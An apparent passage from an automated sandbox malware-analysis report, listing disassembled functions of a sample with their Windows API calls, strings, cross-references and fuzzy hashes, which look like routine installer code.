Instruction Fuzzy Hash: 90F0F6E174072237E620B2BFACC2F6B15CC8F94766F540136B588EB2C2E96C8905426F

Function 004563C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 004563F0
GetExitCodeProcess.KERNEL32(?,00493916), ref: 00456411
CloseHandle.KERNEL32(?,00456444,?,?,_lE,00000000,00000000), ref: 00456437

Strings

MsgWaitForMultipleObjects, xrefs: 004563FD
GetExitCodeProcess, xrefs: 0045641A

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: 2d136926e029b2eac2d052208e130ce13c9c418b312b51496831f15d5ad7fd42
Instruction ID: 20e2aa995b7683d6b9a251f0df5137541c2409e2968c5c9012188fb4b225f764
Opcode Fuzzy Hash: 2d136926e029b2eac2d052208e130ce13c9c418b312b51496831f15d5ad7fd42
Instruction Fuzzy Hash: C501A274604204AFDB10EB99CD02E5E77A8EB4A715FA14177F910E73D3D6789D04961C

Function 0042E718 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042E7DC,00000004,00494934,004555B5,00455958,0045550C,00000000,00000B06,00000000,00000000,?,00000001,00000000), ref: 0042E72E
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E734
InterlockedExchange.KERNEL32(00496660,00000001), ref: 0042E745

Strings

user32.dll, xrefs: 0042E729
ChangeWindowMessageFilter, xrefs: 0042E724

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 3478007392-2498399450
Opcode ID: 02598db08c4a000112c9bf799e011c77217de2df2b75849d72327629dc16e82d
Instruction ID: f9b1f8d33ddbbfa14159479aa9175d48cc93807d6fa788d5eb0d82f0bf51887b
Opcode Fuzzy Hash: 02598db08c4a000112c9bf799e011c77217de2df2b75849d72327629dc16e82d
Instruction Fuzzy Hash: 31E0ECB1741314EADA107B727D8AF5A2654A768715F554437F501651E2C7BD0C40C91C

Function 004738B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 004738BC
GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,004739B3,8pI,00000000), ref: 004738CF
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004738D5

Strings

user32.dll, xrefs: 004738CA
AllowSetForegroundWindow, xrefs: 004738C5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProcProcessThreadWindow
String ID: AllowSetForegroundWindow$user32.dll
API String ID: 1782028327-3855017861
Opcode ID: 0a2f0c961153e95bed1084b4348bda1eb86aa865c75a259dceb39524d91da6e6
Instruction ID: 396aa1631f1aabc4b3bde9474e39fadc16a88d979ffa47118816538f616b0150
Opcode Fuzzy Hash: 0a2f0c961153e95bed1084b4348bda1eb86aa865c75a259dceb39524d91da6e6
Instruction Fuzzy Hash: 63D05ED02803016AD910BBB18C46D6B628C8984716714843B3408E3182D97DE900BA3A

Function 00416B9C Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 00416BC2
SaveDC.GDI32(?), ref: 00416BF3
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416CB5), ref: 00416C54
RestoreDC.GDI32(?,?), ref: 00416C7B
EndPaint.USER32(00000000,?,00416CBC,00000000,00416CB5), ref: 00416CAF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: c06abe95da4831753d63b9634986ca39a884699dacb8f14d7531f4240f3d7fe3
Instruction ID: 41fb8ea60d97978a9acdf236596d3a8a0d8a1996066437b2b943a95edf1585a8
Opcode Fuzzy Hash: c06abe95da4831753d63b9634986ca39a884699dacb8f14d7531f4240f3d7fe3
Instruction Fuzzy Hash: BF414E70A042049FDB14DB99C989FAA77F9EB48304F1580AEE4459B362D778DD40CB58

Function 00414770 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 004147A6
MulDiv.KERNEL32(?,?,?), ref: 004147C0
MulDiv.KERNEL32(?,?,?), ref: 004147E9
MulDiv.KERNEL32(?,?,?), ref: 00414814
MulDiv.KERNEL32(00000000,?,00000000), ref: 0041485C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50d6a748b1b1338860e82f27f8761871ff193d734180217a0f8d82b491afa6e7
Instruction ID: 41a7722d09b35ce9ade17cd18fdec9692d257bae8bd1aa266952c484067d5cda
Opcode Fuzzy Hash: 50d6a748b1b1338860e82f27f8761871ff193d734180217a0f8d82b491afa6e7
Instruction Fuzzy Hash: D3311F746047409FC320EB69C584BABB7E8AF89714F04991EF9E5C7791D738EC818B19

Function 0042973C Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429778
SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 004297A7
SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 004297C3
SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 004297EE
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 0042980C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: fe9210cf49636514123fe8028928f87ce2f158866a525e02be5b173165c2f537
Instruction ID: 5c059f72bad19c8464015bcf3ba3f3fa2ba546ca9f5ab3c2e37583cf1b766786
Opcode Fuzzy Hash: fe9210cf49636514123fe8028928f87ce2f158866a525e02be5b173165c2f537
Instruction Fuzzy Hash: 2E217F70710714BAE710ABA6DC82F5B77ACEB46708F90443EB501BB3D2DB78AD41865C

Function 0041BB28 Relevance: 7.6, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BB3A
GetSystemMetrics.USER32(0000000C), ref: 0041BB44
73A1A570.USER32(00000000,00000001,0000000C,0000000B,?,?), ref: 0041BB82
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BCED,?,00000000,00000001,0000000C,0000000B,?,?), ref: 0041BBC9
DeleteObject.GDI32(00000000), ref: 0041BC0A

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: MetricsSystem$A26310A570DeleteObject
String ID:
API String ID: 4277397052-0
Opcode ID: cb0e2adf6529593e89f90c831e9305c3e05f521d232314fc64d16b3fc11dbc77
Instruction ID: e64c8cfb77975bfe1c5019289902123c5e37d94f13133d85ba8c481b6df62587
Opcode Fuzzy Hash: cb0e2adf6529593e89f90c831e9305c3e05f521d232314fc64d16b3fc11dbc77
Instruction Fuzzy Hash: 91316F74E00609EFDB00DFA5C941AAEB7F4EB48700F10846AF510AB781D7389E80DB98

Function 0046F804 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0045B880: SetLastError.KERNEL32(00000057,00000000,0045B94C,?,?,?,?,00000000), ref: 0045B8EB

GetLastError.KERNEL32(00000000,00000000,00000000,0046F8D8,?,?,00000001,0049715C), ref: 0046F891
GetLastError.KERNEL32(00000000,00000000,00000000,0046F8D8,?,?,00000001,0049715C), ref: 0046F8A7

Strings

Failed to set permissions on registry key (%d)., xrefs: 0046F8B8
Could not set permissions on the registry key because it currently does not exist., xrefs: 0046F89B
Setting permissions on registry key: %s\%s, xrefs: 0046F856

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast
String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
API String ID: 1452528299-4018462623
Opcode ID: 33d55e991e3e756d66bcd1625225591f56e5f4d9b88ac31ea74bc8fec6d45153
Instruction ID: 96c1ae88e46f1053c8843c1d8370795127bea1121afffbe49a23539641cc4ae4
Opcode Fuzzy Hash: 33d55e991e3e756d66bcd1625225591f56e5f4d9b88ac31ea74bc8fec6d45153
Instruction Fuzzy Hash: 43219570A046445FCB00EBA9D8416AEBBE8EF49314F5041BBF444E7392E77C5D098B6E

Function 00403CA4 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CFC
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D06
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D15

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: bbd83879051bbb61c82a419d540aea94b1d83442c47b8cdfd9cb13069dd9a881
Instruction ID: 657f84db466bd1c54801a2b30447fc2084338491f8142acf58a262d5883cef98
Opcode Fuzzy Hash: bbd83879051bbb61c82a419d540aea94b1d83442c47b8cdfd9cb13069dd9a881
Instruction Fuzzy Hash: FCF0A4917442043BF21025A65C43F6B198CCB82B9BF50053FB704FA1D2D87C9D04427D

Function 00414350 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

73A18830.GDI32(00000000,00000000,00000000), ref: 00414389
73A122A0.GDI32(00000000,00000000,00000000,00000000), ref: 00414391
73A18830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 004143A5
73A122A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 004143AB
73A1A480.USER32(00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 004143B6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A122A18830$A480
String ID:
API String ID: 3325508737-0
Opcode ID: 194e3fff164acdd9274630c615ac113e6c237e1a8584744cad8ee02aea33715e
Instruction ID: 94861c3129a932f854b236b0087f7367a4de39103189020794ca85cb03cdcc47
Opcode Fuzzy Hash: 194e3fff164acdd9274630c615ac113e6c237e1a8584744cad8ee02aea33715e
Instruction Fuzzy Hash: 6F01DF7121C3806AD200B63E8C85A9F6BED8FCA314F15556EF498DB382CA7ACC018765

Function 00475D9C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,00477595,?,00000000,00000000,00000001,00000000,00476039,?,00000000), ref: 00475FFD

Strings

X]G, xrefs: 00475E96
Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 00475E71
Failed to parse "reg" constant, xrefs: 00476004

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Close
String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant$X]G
API String ID: 3535843008-3097313723
Opcode ID: 806a4188fcc8c20298944ffb190329348222981e58a2f71ef820a36b582e984c
Instruction ID: 96cd70323cad5c6b90809f7ed0ed82a06e2339c04e7e6b9c82b053b7c270f765
Opcode Fuzzy Hash: 806a4188fcc8c20298944ffb190329348222981e58a2f71ef820a36b582e984c
Instruction Fuzzy Hash: 70814174E00548AFCB10EF95C481ADEBBF9AF48314F50816AE814BB391D778AF45CB99

Function 00424C50 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 0041EFE4: GetActiveWindow.USER32 ref: 0041EFE7
Part of subcall function 0041EFE4: GetCurrentThreadId.KERNEL32 ref: 0041EFFC
Part of subcall function 0041EFE4: 73A25940.USER32(00000000,Function_0001EFC0), ref: 0041F002

Part of subcall function 00423118: GetSystemMetrics.USER32(00000000), ref: 0042311A

OffsetRect.USER32(?,?,?), ref: 00424D39
DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424DFC
OffsetRect.USER32(?,?,?), ref: 00424E0D

Part of subcall function 004234D4: GetCurrentThreadId.KERNEL32 ref: 004234E9
Part of subcall function 004234D4: SetWindowsHookExA.USER32(00000003,00423490,00000000,00000000), ref: 004234F9
Part of subcall function 004234D4: CreateThread.KERNEL32(00000000,000003E8,00423440,00000000,00000000), ref: 0042351D

Part of subcall function 00424A9C: SetTimer.USER32(00000000,00000001,?,00423424), ref: 00424AB7

Strings

KB, xrefs: 00424C63, 00424D41

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Thread$CurrentOffsetRect$A25940ActiveCreateDrawHookMetricsSystemTextTimerWindowWindows
String ID: KB
API String ID: 1906964682-1869488878
Opcode ID: 4de047af277be24121bb3e07ed81c6186c428d0abd0841fa5a600d1de7d0a36e
Instruction ID: 8a1ca8d85bab54549b4d9d093631307a73357c8a1ef7de59c5480922928757da
Opcode Fuzzy Hash: 4de047af277be24121bb3e07ed81c6186c428d0abd0841fa5a600d1de7d0a36e
Instruction Fuzzy Hash: D6811771A002189FDB14DFA8D884ADEBBB5FF48314F5045AAE904AB296DB38AD45CF44

Function 00406F0C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156shareCOMMON

Download Yara Rule

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00406F6B
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 00406FE5
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 0040703D

Strings

Z, xrefs: 00406FA4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: f046bcecc6cc818d41960334bbdd2548401fb9237790f0402b99fbef7d520f46
Instruction ID: f15ffb13b1197877662b480f320dceb00dd84bb003a9336f5ebe52512d9587e7
Opcode Fuzzy Hash: f046bcecc6cc818d41960334bbdd2548401fb9237790f0402b99fbef7d520f46
Instruction Fuzzy Hash: B2515170E042099FDB11EF55C941A9EBBB9FB09304F5041BAE540BB3D1C778AE418F5A

Function 0044CB00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 0044CB8E
DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044CBB9
DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044CC41

Strings

, xrefs: 0044CB73

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: DrawText$EmptyRect
String ID:
API String ID: 182455014-2867612384
Opcode ID: 6d647fb3bcc34c72dc403f6b0f96d3591bac4e07a988fdfd4992fe03d1b4b07c
Instruction ID: ec0871b8a56e35850cf2b8a3945ee2b2f86efa56287fb08428a7ecab21babc94
Opcode Fuzzy Hash: 6d647fb3bcc34c72dc403f6b0f96d3591bac4e07a988fdfd4992fe03d1b4b07c
Instruction Fuzzy Hash: 49516F71A00248AFDB50DFA5C8C5BDEBBF9EF48304F08447AE845EB252D738A944CB64

Function 0042EAD8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,00000000,0042EC2C,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042EB02

Part of subcall function 0041A158: CreateFontIndirectA.GDI32(?), ref: 0041A217

SelectObject.GDI32(?,00000000), ref: 0042EB25
73A1A480.USER32(00000000,?,0042EC11,00000000,0042EC0A,?,00000000,00000000,0042EC2C,?,?,?,?,00000000,00000000,00000000), ref: 0042EC04

Strings

...\, xrefs: 0042EBB6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A480A570CreateFontIndirectObjectSelect
String ID: ...\
API String ID: 2998766281-983595016
Opcode ID: 6b0b29b1ff4c086d0b000fd4ee176f36fe805dd1f8076c8cc5877eef6e1f7d7c
Instruction ID: 3ea2f4fda2af0d4dbead9854f9e4c512e5c56e1bc2fe1fbb634109393928ece3
Opcode Fuzzy Hash: 6b0b29b1ff4c086d0b000fd4ee176f36fe805dd1f8076c8cc5877eef6e1f7d7c
Instruction Fuzzy Hash: 81313370B00128AFDF11EB97D841BAEBBB9EF48304F91447BF410A7291D7786D45CA69

Function 004525E4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00491F89,_iu,?,00000000,0045271E), ref: 004526D3
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00491F89,_iu,?,00000000,0045271E), ref: 004526E3

Strings

.tmp, xrefs: 00452687
_iu, xrefs: 00452675

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu
API String ID: 3498533004-10593223
Opcode ID: 983d2faee30faa7d403a3928163df0719498245b46238a1f2d00d3e1bcef5d75
Instruction ID: 1d76945a1a57a903fe92d9463d55cd29f4c2be97d91dbec446825cc4a4bf1293
Opcode Fuzzy Hash: 983d2faee30faa7d403a3928163df0719498245b46238a1f2d00d3e1bcef5d75
Instruction Fuzzy Hash: A131C570A00249ABCB11EBA5C942B9EB7B5AF45309F60442BF800B73D2D6785F0587AD

Function 00416380 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,?,?), ref: 004163EF
UnregisterClassA.USER32(?,00400000), ref: 0041641B
RegisterClassA.USER32(?), ref: 0041643E

Strings

@, xrefs: 00416399

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: 6db639d75dbc0aff73bb5e7900fb8fb9d00cae3e69b7c7eab42d34dde977a620
Instruction ID: e8561198b81c08f142b3a544c89b4739d35f798691a26b07e42a1fbbf62ba06a
Opcode Fuzzy Hash: 6db639d75dbc0aff73bb5e7900fb8fb9d00cae3e69b7c7eab42d34dde977a620
Instruction Fuzzy Hash: 94316E706042058BD760EF68C981B9B77E5AB88308F04447FF985DB392DB39D9448B6E

Function 004933E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00493CF8,00000000,004934D6,?,?,00000000,00496628), ref: 00493450
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00493CF8,00000000,004934D6,?,?,00000000,00496628), ref: 00493479
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00493492

Strings

isRS-%.3u.tmp, xrefs: 0049342F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
